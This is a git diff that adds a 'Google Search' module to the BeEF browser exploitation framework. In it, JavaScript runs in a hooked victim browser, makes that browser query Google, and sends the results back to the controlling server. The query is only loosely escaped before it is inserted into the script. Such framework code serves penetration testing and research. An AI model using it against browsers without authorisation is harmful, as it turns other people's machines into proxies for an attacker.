diff --git a/modules/browser/google_search/command.js b/modules/browser/google_search/command.js new file mode 100644 index 000000000..93366a3d5 --- /dev/null +++ b/modules/browser/google_search/command.js @@ -0,0 +1,39 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var query = '<%= @query.gsub(/'/, "\\'") %>'; + + var searchGoogle = function(query) { + + var script = document.createElement('script'); + script.defer = true; + script.type = "text/javascript"; + script.src = "https://ajax.googleapis.com/ajax/services/search/web?callback=callback&lstkp=0&rsz=large&hl=en&q=" + query + "&v=1.0"; + + callback = function (results) { + document.body.removeChild(script); + delete callback; + beef.net.send('<%= @command_url %>', <%= @command_id %>, "query="+query+"&results="+JSON.stringify(results)); + }; + + document.body.appendChild(script); + } + + searchGoogle(query); + +}); + diff --git a/modules/browser/google_search/config.yaml b/modules/browser/google_search/config.yaml new file mode 100644 index 000000000..6160abacf --- /dev/null +++ b/modules/browser/google_search/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + google_search: + enable: true + category: "Browser" + name: "Google Search" + description: "This module uses the hooked browser to search Google." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/browser/google_search/module.rb b/modules/browser/google_search/module.rb new file mode 100644 index 000000000..afec66958 --- /dev/null +++ b/modules/browser/google_search/module.rb @@ -0,0 +1,32 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Google_search < BeEF::Core::Command + + def self.options + return [ + {'name' => 'query', 'ui_label' => 'Query', 'type' => 'textarea', 'value' =>'beef', 'width' => '400px', 'height' => '50px'} + ] + end + + def post_execute + content = {} + content['results'] = @datastore['results'] + content['query'] = @datastore['query'] + save content + end + +end +